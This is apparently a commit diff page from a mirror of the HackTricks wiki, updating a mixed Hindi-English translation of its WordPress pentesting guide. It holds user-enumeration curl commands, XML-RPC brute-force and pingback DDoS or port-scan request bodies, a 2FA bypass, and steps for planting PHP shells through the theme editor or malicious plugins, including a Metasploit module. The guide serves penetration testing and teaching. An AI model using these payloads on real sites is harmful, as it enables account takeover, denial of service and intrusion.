maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

Browse Source
This commit is contained in:
Translator 2025-09-08 04:23:07 +00:00
parent 21b2de2772
commit 0d7c5e24a4
1 changed files with 218 additions and 164 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

382
src/network-services-pentesting/pentesting-web/wordpress.md
View File

@ -2,51 +2,51 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## बुनियादी जानकारी ## Basic Information
- **Uploaded** फ़ाइलें जाती हैं: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** इसलिए अगर आप theme के कुछ php को बदलकर RCE पाना चाहें तो आप संभवतः उस path का उपयोग करेंगे। उदाहरण के लिए: Using **theme twentytwelve** आप **access** कर सकते हैं **404.php** फ़ाइल को: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Themes files can be found in /wp-content/themes/,** इसलिए अगर आप theme के किसी php को बदलकर RCE हासिल करना चाहते हैं तो आप शायद उसी path का उपयोग करेंगे। उदाहरण के लिए: Using **theme twentytwelve** आप **404.php** फ़ाइल को इस पाथ पर **access** कर सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- `wp-config.php` में आप database का root password पा सकते हैं। - In **wp-config.php** आप database का root password पा सकते हैं।
- जाँचने के लिए डिफ़ॉल्ट लॉगिन पाथ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ - Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Main WordPress Files** ### **Main WordPress Files**
- `index.php` - `index.php`
- `license.txt` में उपयोगी जानकारी होती है जैसे कि इंस्टॉल्ड WordPress का version। - `license.txt` में उपयोगी जानकारी होती है जैसे कि इंस्टॉल किया गया WordPress का version।
- `wp-activate.php` नए WordPress साइट की सेटअप के दौरान email activation प्रक्रिया के लिए उपयोग किया जाता है। - `wp-activate.php` नया WordPress साइट सेटअप करते समय email activation प्रक्रिया के लिए उपयोग होता है।
- Login फ़ोल्डर (छुपाने के लिए नाम बदला गया हो सकता है): - Login folders (may be renamed to hide it):
- `/wp-admin/login.php` - `/wp-admin/login.php`
- `/wp-admin/wp-login.php` - `/wp-admin/wp-login.php`
- `/login.php` - `/login.php`
- `/wp-login.php` - `/wp-login.php`
- `xmlrpc.php` एक फ़ाइल है जो WordPress की उस फ़ीचर का प्रतिनिधित्व करती है जो HTTP को transport mechanism के रूप में और XML को encoding mechanism के रूप में उपयोग करके डेटा को ट्रांसमिट करने में सक्षम बनाती है। इस प्रकार के संचार को WordPress के [REST API](https://developer.wordpress.org/rest-api/reference) ने बदल दिया है। - `xmlrpc.php` एक फ़ाइल है जो WordPress की उस फ़ीचर का प्रतिनिधित्व करती है जो HTTP को transport mechanism और XML को encoding mechanism के रूप में उपयोग करके डेटा ट्रांसमिट करने की अनुमति देती है। इस प्रकार की संचार विधि को WordPress के [REST API](https://developer.wordpress.org/rest-api/reference) ने बदल दिया है।
- `wp-content` फ़ोल्डर वह मुख्य डायरेक्टरी है जहाँ plugins और themes स्टोर होते हैं। - `wp-content` फ़ोल्डर मुख्य डायरेक्टरी है जहाँ plugins और themes स्टोर होते हैं।
- `wp-content/uploads/` वह डायरेक्टरी है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें स्टोर होती हैं। - `wp-content/uploads/` वह डायरेक्टरी है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहित होती हैं।
- `wp-includes/` यह डायरेक्टरी core फ़ाइलों के लिए है, जैसे certificates, fonts, JavaScript फ़ाइलें, और widgets। - `wp-includes/` यह वह डायरेक्टरी है जहाँ core फ़ाइलें स्टोर होती हैं, जैसे कि certificates, fonts, JavaScript files, और widgets।
- `wp-sitemap.xml` WordPress वर्ज़न 5.5 और उससे ऊपर में, WordPress सभी public पोस्ट और publicly queryable post types और taxonomies के साथ एक sitemap XML फ़ाइल जनरेट करता है। - `wp-sitemap.xml` WordPress versions 5.5 और उससे ऊपर में, Worpress एक sitemap XML फ़ाइल जनरेट करता है जिसमें सभी public posts और publicly queryable post types और taxonomies होते हैं।
**Post exploitation** **Post exploitation**
- `wp-config.php` फ़ाइल में वह जानकारी होती है जिसकी WordPress को database से कनेक्ट करने के लिए आवश्यकता होती है, जैसे database name, database host, username और password, authentication keys और salts, और database table prefix। इस configuration फ़ाइल का उपयोग DEBUG mode सक्रिय करने के लिए भी किया जा सकता है, जो troubleshooting में उपयोगी हो सकता है। - `wp-config.php` फ़ाइल में WordPress को database से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे database name, database host, username और password, authentication keys और salts, और database table prefix। यह configuration फ़ाइल DEBUG mode को सक्रिय करने के लिए भी उपयोग की जा सकती है, जो troubleshooting में उपयोगी हो सकता है।
### उपयोगकर्ता अनुमतियाँ ### Users Permissions
- **Administrator** - **Administrator**
- **Editor**: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है - **Editor**: अपने और दूसरों के पोस्ट प्रकाशित और प्रबंधित करता है
- **Author**: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है - **Author**: अपने स्वयं के पोस्ट प्रकाशित और प्रबंधित करता है
- **Contributor**: पोस्ट लिखता और प्रबंधित करता है लेकिन प्रकाशित नहीं कर सकता - **Contributor**: अपने पोस्ट लिखता और प्रबंधित करता है पर उन्हें प्रकाशित नहीं कर सकता
- **Subscriber**: पोस्ट ब्राउज़ करता है और अपना प्रोफ़ाइल अपडेट कर सकता है - **Subscriber**: पोस्ट ब्राउज़ करता है और अपनी प्रोफ़ाइल संपादित करता है
## **Passive Enumeration** ## **Passive Enumeration**
### **Get WordPress version** ### **Get WordPress version**
जाँचें कि क्या आप फ़ाइलें `/license.txt` या `/readme.html` ढूँढ सकते हैं चेक करें कि क्या आप फ़ाइलें `/license.txt` या `/readme.html` पा सकते हैं
पेज के **source code** के अंदर (उदाहरण से [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): पृष्ठ के **source code** के अंदर (उदाहरण के लिए from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
- grep - grep
```bash ```bash
@ -77,41 +77,41 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
``` ```
## Active enumeration ## सक्रिय अन्वेषण
### Plugins and Themes ### प्लगइन्स और थीम्स
आप शायद सभी Plugins और Themes खोज पाने में सक्षम नहीं होंगे। इन सबको खोजने के लिए, आपको **actively Brute Force a list of Plugins and Themes** करने की आवश्यकता होगी (खुशी की बात है कि हमारे लिए ऐसे स्वचालित टूल्स मौजूद हैं जिनमें ये सूचियाँ शामिल होती हैं)। आप संभवतः सभी प्लगइन्स और थीम्स नहीं ढूँढ पाएँगे। उन्हें खोजने के लिए, आपको **सक्रिय रूप से Brute Force करके प्लगइन्स और थीम्स की सूची निकालनी होगी** (हमें उम्मीद है कि हमारे लिए ऐसी स्वचालित tools मौजूद हैं जिनमें ये सूचियाँ होती हैं)।
### Users ### उपयोगकर्ता
- **ID Brute:** आप Brute Forcing users IDs करके किसी WordPress साइट से valid users प्राप्त कर सकते हैं: - **ID Brute:** आप WordPress साइट से Brute Forcing users IDs के जरिए वैध उपयोगकर्ता प्राप्त कर सकते हैं:
```bash ```bash
curl -s -I -X GET http://blog.example.com/?author=1 curl -s -I -X GET http://blog.example.com/?author=1
``` ```
यदि प्रतिक्रियाएँ **200** या **30X** हैं, तो इसका मतलब है कि id **valid** है। यदि प्रतिक्रिया **400** आती है, तो id **invalid** है। यदि प्रतिक्रिया **200** या **30X** है, तो इसका मतलब है कि id **मान्य** है। यदि प्रतिक्रिया **400** है, तो id **अमान्य** है।
- **wp-json:** आप users के बारे में जानकारी प्राप्त करने के लिए querying करके भी कोशिश कर सकते हैं: - **wp-json:** आप users के बारे में जानकारी प्राप्त करने के लिए query कर सकते हैं:
```bash ```bash
curl http://blog.example.com/wp-json/wp/v2/users curl http://blog.example.com/wp-json/wp/v2/users
``` ```
उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकने वाला एक और `/wp-json/` endpoint है: एक अन्य `/wp-json/` endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी उजागर कर सकता है:
```bash ```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
ध्यान दें कि यह endpoint केवल उन उपयोगकर्ताओं को एक्सपोज़ करता है जिन्होंने पोस्ट की है। **केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह फीचर सक्षम है।** Note that this endpoint only exposes users that have made a post. **केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह फीचर सक्षम है**।
साथ ही ध्यान दें कि **/wp-json/wp/v2/pages** IP addresses leak कर सकता है। Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते हैं तो **संदेश** **भिन्न** होता है जो संकेत करता है कि **उपयोगकर्ता नाम मौजूद है या नहीं**। - **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते समय **संदेश** अलग होता है और यह दर्शाता है कि **username मौजूद है या नहीं**।
### XML-RPC ### XML-RPC
यदि `xml-rpc.php` सक्रिय है तो आप credentials brute-force कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS attacks लॉन्च करने के लिए कर सकते हैं। (उदाहरण के लिए आप इस प्रक्रिया को[ using this](https://github.com/relarizky/wpxploit) ऑटोमेट कर सकते हैं). यदि `xml-rpc.php` सक्रिय है तो आप credentials brute-force कर सकते हैं या इसे अन्य संसाधनों पर DoS attacks लॉन्च करने के लिए उपयोग कर सकते हैं। (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
यह सक्रिय है या नहीं देखने के लिए _**/xmlrpc.php**_ तक पहुँचने का प्रयास करें और यह अनुरोध भेजें: यह सक्रिय है या नहीं देखने के लिए _**/xmlrpc.php**_ तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:
**जाँच करें** **जांचें**
```html ```html
<methodCall> <methodCall>
<methodName>system.listMethods</methodName> <methodName>system.listMethods</methodName>
@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**Credentials Bruteforce** **Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** उनमें से कुछ मेथड हैं जिन्हें brute-force credentials के लिए उपयोग किया जा सकता है। अगर आप इनमें से कोई भी ढूँढ पाते हैं तो आप कुछ इस तरह भेज सकते हैं: **`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे मेथड्स हैं जिन्हें credentials को brute-force करने के लिए उपयोग किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ़ पाएँ तो आप कुछ ऐसा भेज सकते हैं:
```html ```html
<methodCall> <methodCall>
<methodName>wp.getUsersBlogs</methodName> <methodName>wp.getUsersBlogs</methodName>
@ -138,7 +138,9 @@ The message _"Incorrect username or password"_ inside a 200 code response should
![](<../../images/image (721).png>) ![](<../../images/image (721).png>)
सही credentials का उपयोग करके आप एक file upload कर सकते हैं। response में path दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) यदि credentials मान्य नहीं हैं तो 200 कोड response के भीतर संदेश _"Incorrect username or password"_ दिखाई देना चाहिए।
सही credentials का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। response में path दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html ```html
<?xml version='1.0' encoding='utf-8'?> <?xml version='1.0' encoding='utf-8'?>
<methodCall> <methodCall>
@ -168,18 +170,18 @@ The message _"Incorrect username or password"_ inside a 200 code response should
</params> </params>
</methodCall> </methodCall>
``` ```
इसके अलावा एक **तेज़ तरीका** है क्रेडेंशियल्स को brute-force करने का, जो **`system.multicall`** का उपयोग करता है क्योंकि आप एक ही request में कई क्रेडेंशियल्स आज़मा सकते हैं: इसके अलावा, `system.multicall` का उपयोग करके brute-force credentials के लिए एक **तेज़ तरीका** है, क्योंकि आप एक ही रिक्वेस्ट में कई credentials आज़मा सकते हैं:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**2FA बायपास** **Bypass 2FA**
यह तरीका प्रोग्राम्स के लिए है, इंसानों के लिए नहीं, और पुराना है, इसलिए यह 2FA को सपोर्ट नहीं करता। तो, अगर आपके पास वैध क्रेडेंशियल्स हैं पर मुख्य प्रवेश 2FA द्वारा सुरक्षित है, **आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल्स से 2FA बायपास करते हुए login कर सकते हैं**। ध्यान दें कि आप console के माध्यम से जो सभी actions कर सकते हैं, वे आप नहीं कर पाएंगे, लेकिन आप फिर भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec इसे [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाते हैं यह विधि प्रोग्राम्स के लिए है, इंसानों के लिए नहीं, और पुरानी होने के कारण यह 2FA को सपोर्ट नहीं करती। इसलिए, अगर आपके पास valid creds हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन creds से 2FA बायपास कर लॉगिन कर सकते हैं**। ध्यान रखें कि आप console के माध्यम से कर पाए जाने वाले सभी actions नहीं कर पाएंगे, लेकिन फिर भी आप RCE तक पहुँच सकते हैं जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है।
**DDoS या पोर्ट स्कैनिंग** **DDoS or port scanning**
अगर आप सूची में _**pingback.ping**_ मेथड पा लेते हैं तो आप Wordpress को किसी भी host/port पर arbitrary request भेजवा सकते हैं.\ यदि आप list के अंदर _**pingback.ping**_ method को ढूँढ पाते हैं तो आप Wordpress को किसी भी host/port पर arbitrary request भेजवा सकते हैं।\
यह उपयोग किया जा सकता है कि **हज़ारों** Wordpress **साइट्स** से एक ही **स्थान** को **पहुंच** करवाया जाए (जिससे उस स्थान पर **DDoS** हो) या आप इसका उपयोग करके **Wordpress** को किसी आंतरिक **नेटवर्क** को **स्कैन** करवाने के लिए निर्देशित कर सकते हैं (आप कोई भी पोर्ट निर्दिष्ट कर सकते हैं)। इसे उपयोग करके आप **हज़ारों** Wordpress **साइटों** से एक ही **स्थान** को **एक्सेस** करवाएँगे (जिससे उस स्थान पर **DDoS** होता है), या आप इसे उपयोग करके **Wordpress** को किसी internal **नेटवर्क** पर **स्कैन** करवा सकते हैं (आप कोई भी पोर्ट निर्दिष्ट कर सकते हैं)।
```html ```html
<methodCall> <methodCall>
<methodName>pingback.ping</methodName> <methodName>pingback.ping</methodName>
@ -191,9 +193,9 @@ The message _"Incorrect username or password"_ inside a 200 code response should
``` ```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
यदि आपको **faultCode** का मान **0** (17) से **बड़ा** मिलता है, तो इसका मतलब है कि पोर्ट खुला है। यदि आपको **faultCode** का मान **बड़ा** **0** (17) से मिलता है, तो इसका मतलब है कि port खुला है।
पिछले सेक्शन में **`system.multicall`** के उपयोग को देखें ताकि आप सीख सकें कि इस विधि का दुरुपयोग करके कैसे DDoS किया जा सकता है। पिछले अनुभाग में **`system.multicall`** के उपयोग को देखें ताकि आप सीख सकें कि इस विधि का दुरुपयोग करके DDoS कैसे किया जा सकता है।
**DDoS** **DDoS**
```html ```html
@ -209,11 +211,11 @@ The message _"Incorrect username or password"_ inside a 200 code response should
### wp-cron.php DoS ### wp-cron.php DoS
यह फ़ाइल आम तौर पर Wordpress साइट की रूट में मौजूद रहती है: **`/wp-cron.php`**\ यह फ़ाइल आमतौर पर Wordpress साइट की रूट में मौजूद होती है: **`/wp-cron.php`**\\
जब इस फ़ाइल को **accessed** किया जाता है, तो एक "**heavy**" MySQL **query** निष्पादित होती है, इसलिए इसे **attackers** द्वारा **DoS** को **cause** करने के लिए इस्तेमाल किया जा सकता है.\ जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **query** निष्पादित होती है, इसलिए इसका उपयोग **हमलावर** द्वारा **DoS** **पैदा** करने के लिए किया जा सकता है।\\
डिफ़ॉल्ट रूप से, `wp-cron.php` हर पेज लोड पर (जब भी कोई क्लाइंट किसी भी Wordpress पेज का अनुरोध करता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइट्स पर समस्याएँ (DoS) पैदा कर सकता है। इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` को हर पेज लोड पर कॉल किया जाता है (जब भी कोई क्लाइंट किसी भी Wordpress पेज का अनुरोध करता है), जो high-traffic साइट्स पर समस्याएँ (DoS) पैदा कर सकता है।
यह सलाह दी जाती है कि Wp-Cron को disable कर दिया जाए और host के अंदर एक वास्तविक cronjob बनाया जाए जो आवश्यक क्रियाएँ नियमित अंतराल पर (बिना किसी समस्या के) चलाए। सुझाव दिया जाता है कि Wp-Cron को disable करें और host के अंदर एक वास्तविक cronjob बनाएं जो नियमित अंतराल पर आवश्यक कार्यों को निष्पादित करे (बिना समस्याएँ पैदा किए)।
### /wp-json/oembed/1.0/proxy - SSRF ### /wp-json/oembed/1.0/proxy - SSRF
@ -230,32 +232,32 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}} {{#endref}}
यह टूल जांचता है कि **methodName: pingback.ping** और path **/wp-json/oembed/1.0/proxy** मौजूद हैं या नहीं, और यदि मौजूद हों तो यह उन्हें exploit करने की कोशिश करता है। यह टूल चेक करता है कि **methodName: pingback.ping** मौजूद है और पाथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और अगर मौजूद हैं तो यह उन्हें exploit करने की कोशिश करता है।
## स्वचालित टूल्स ## Automatic Tools
```bash ```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0" cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin" #You can try to bruteforce the admin user using wpscan with "-U admin"
``` ```
## एक बिट ओवरराइट कर के एक्सेस प्राप्त करें ## एक बिट ओवरराइट करके एक्सेस प्राप्त करें
यह असल हमले से ज्यादा एक जिज्ञासा है। CTF में [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी wordpress फ़ाइल का 1 बिट फ्लिप कर सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के पोजीशन `5389` का बिट फ्लिप करके NOT (`!`) ऑपरेशन को NOP कर सकते थे। यह असल हमला होने के बजाय एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी wordpress फ़ाइल का 1 बिट पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` की स्थिति `5389` पर बिट पलटकर NOT (`!`) ऑपरेशन को NOP कर सकते थे।
```php ```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error( return new WP_Error(
``` ```
## **पैनल RCE** ## **Panel RCE**
**थीम में उपयोग किए गए php को संशोधित करना (admin credentials की आवश्यकता होती है)** **थीम में उपयोग किए गए php को संशोधित करना (admin credentials आवश्यक)**
Appearance → Theme Editor → 404 Template (दाईं ओर) Appearance → Theme Editor → 404 Template (at the right)
php shell के लिए सामग्री बदलें: php shell के लिए सामग्री बदलें:
![](<../../images/image (384).png>) ![](<../../images/image (384).png>)
इंटरनेट पर खोजें कि आप उस अपडेट किए गए पेज तक कैसे एक्सेस कर सकते हैं। इस मामले में आपको यहाँ एक्सेस करना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) इंटरनेट पर खोजें कि आप उस अपडेट किए गए पृष्ठ तक कैसे पहुँच सकते हैं। इस मामले में आपको यहाँ पहुँचना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF ### MSF
@ -263,13 +265,13 @@ php shell के लिए सामग्री बदलें:
```bash ```bash
use exploit/unix/webapp/wp_admin_shell_upload use exploit/unix/webapp/wp_admin_shell_upload
``` ```
सेशन प्राप्त करने के लिए। सत्र प्राप्त करने के लिए।
## Plugin RCE ## Plugin RCE
### PHP plugin ### PHP plugin
यह संभव हो सकता है कि एक plugin के रूप में .php फाइलें अपलोड की जा सकें।\ कभी-कभी .php फाइलें plugin के रूप में अपलोड करना संभव हो सकता है।
उदाहरण के लिए अपना php backdoor बनाएं: उदाहरण के लिए अपना php backdoor बनाएं:
![](<../../images/image (183).png>) ![](<../../images/image (183).png>)
@ -278,7 +280,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
![](<../../images/image (722).png>) ![](<../../images/image (722).png>)
Upload plugin और Install Now दबाएँ: Plugin अपलोड करें और Install Now दबाएँ:
![](<../../images/image (249).png>) ![](<../../images/image (249).png>)
@ -286,74 +288,74 @@ Procced पर क्लिक करें:
![](<../../images/image (70).png>) ![](<../../images/image (70).png>)
शायद यह तुरंत कुछ नहीं करेगा, लेकिन यदि आप Media पर जाएँगे, तो आप अपना अपलोड किया हुआ shell देखेंगे: शायद इससे कुछ भी नहीं होगा, लेकिन अगर आप Media में जाएँ तो आप अपना shell अपलोड हुआ देखेंगे:
![](<../../images/image (462).png>) ![](<../../images/image (462).png>)
इसे एक्सेस करें और आप reverse shell को execute करने के लिए URL देखेंगे: इसे access करें और आप reverse shell execute करने का URL देखेंगे:
![](<../../images/image (1006).png>) ![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin ### Uploading and activating malicious plugin
यह तरीका एक ज्ञात vulnerable malicious plugin की इंस्टॉलेशन से संबंधित है जिसे exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से निम्नानुसार की जाती है: यह तरीका एक ऐसी malicious plugin की installation में शामिल है जिसे vulnerable के रूप में जाना जाता है और जिसका exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से इस प्रकार की जाती है:
1. **Plugin Acquisition**: plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**here**](https://www.exploit-db.com/exploits/36374). 1. **Plugin Acquisition**: Plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, उदाहरण के लिए [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**: 2. **Plugin Installation**:
- WordPress dashboard में जाएँ, फिर `Dashboard > Plugins > Upload Plugin` पर जाएँ। - WordPress dashboard पर जाएँ, फिर `Dashboard > Plugins > Upload Plugin` पर जाएँ।
- डाउनलोड किए गए plugin की zip फाइल अपलोड करें। - डाउनलोड किए गए plugin की zip फ़ाइल अपलोड करें।
3. **Plugin Activation**: एक बार plugin सफलतापूर्वक इंस्टॉल हो जाने पर, इसे dashboard के माध्यम से activate करना होगा। 3. **Plugin Activation**: एक बार plugin सफलतापूर्वक install हो जाने पर, इसे dashboard के माध्यम से activate किया जाना चाहिए।
4. **Exploitation**: 4. **Exploitation**:
- जब `reflex-gallery` plugin इंस्टॉल और सक्रिय हो, तो इसे exploit किया जा सकता है क्योंकि यह ज्ञात रूप से vulnerable है। - जब "reflex-gallery" plugin install और activate हो, तो इसे exploit किया जा सकता है क्योंकि यह vulnerable के रूप में जाना जाता है।
- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त मॉड्यूल लोड करके और विशिष्ट कमांड्स चलाकर, एक meterpreter session स्थापित किया जा सकता है, जो साइट तक अनाधिकृत पहुँच देता है। - Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और विशिष्ट कमांड्स execute करके एक meterpreter session स्थापित किया जा सकता है, जो site पर unauthorized access प्रदान कर सकता है।
- ध्यान दें कि यह WordPress साइट को exploit करने के कई तरीकों में से केवल एक है। - यह केवल WordPress साइट को exploit करने के कई तरीकों में से एक है।
यह सामग्री WordPress dashboard में plugin इंस्टॉल और activate करने के चरणों को दर्शाने वाले विज़ुअल एड्स शामिल करती है। हालांकि, बिना उचित अनुमति के इस तरह vulnerabilities को exploit करना illegal और unethical है। यह जानकारी केवल जिम्मेदारीपूर्वक और कानूनी संदर्भ में उपयोग की जानी चाहिए, जैसे कि explicit permission के साथ penetration testing। सामग्री में WordPress dashboard में plugin install और activate करने के चरणों को दर्शाते हुए दृश्य संदर्भ शामिल हैं। हालांकि, यह ध्यान रखना महत्वपूर्ण है कि बिना उचित अनुमति के इस प्रकार vulnerabilities का exploit करना अवैध और अनैतिक है। यह जानकारी ज़िम्मेदारी से और केवल कानूनी संदर्भ में ही उपयोग की जानी चाहिए, जैसे कि penetration testing जब स्पष्ट अनुमति हो।
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE ## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जो एक **Cross-Site Scripting (XSS)** vulnerability को **Remote Code Execution (RCE)** या WordPress में अन्य critical vulnerabilities तक escalate करने के लिए डिज़ाइन की गई है। अधिक जानकारी के लिए [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) देखें। यह **Wordpress Versions 6.X.X, 5.X.X and 4.X.X के लिए support प्रदान करता है और इसे निम्न कार्य करने की अनुमति देता है:** - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जो **Cross-Site Scripting (XSS)** vulnerability को **Remote Code Execution (RCE)** या अन्य critical vulnerabilities में escalate करने के लिए डिज़ाइन की गई है WordPress में। अधिक जानकारी के लिए [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) देखें। यह **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** के लिए सपोर्ट प्रदान करता है और यह अनुमति देता है:
- _**Privilege Escalation:**_ WordPress में एक user बनाता है। - _**Privilege Escalation:**_ WordPress में एक user बनाता है।
- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपना custom plugin (backdoor) WordPress पर upload करें। - _**(RCE) Custom Plugin (backdoor) Upload:**_ अपना custom plugin (backdoor) WordPress पर अपलोड करें।
- _**(RCE) Built-In Plugin Edit:**_ WordPress में Built-In Plugins को edit करें। - _**(RCE) Built-In Plugin Edit:**_ WordPress में Built-In Plugins को edit करें।
- _**(RCE) Built-In Theme Edit:**_ WordPress में Built-In Themes को edit करें। - _**(RCE) Built-In Theme Edit:**_ WordPress में Built-In Themes को edit करें।
- _**(Custom) Custom Exploits:**_ Third-Party WordPress Plugins/Themes के लिए custom exploits। - _**(Custom) Custom Exploits:**_ Third-Party WordPress Plugins/Themes के लिए custom exploits।
## Post Exploitation ## Post Exploitation
यूजरनेम और पासवर्ड निकालें: यूज़रनेम और पासवर्ड निकालें:
```bash ```bash
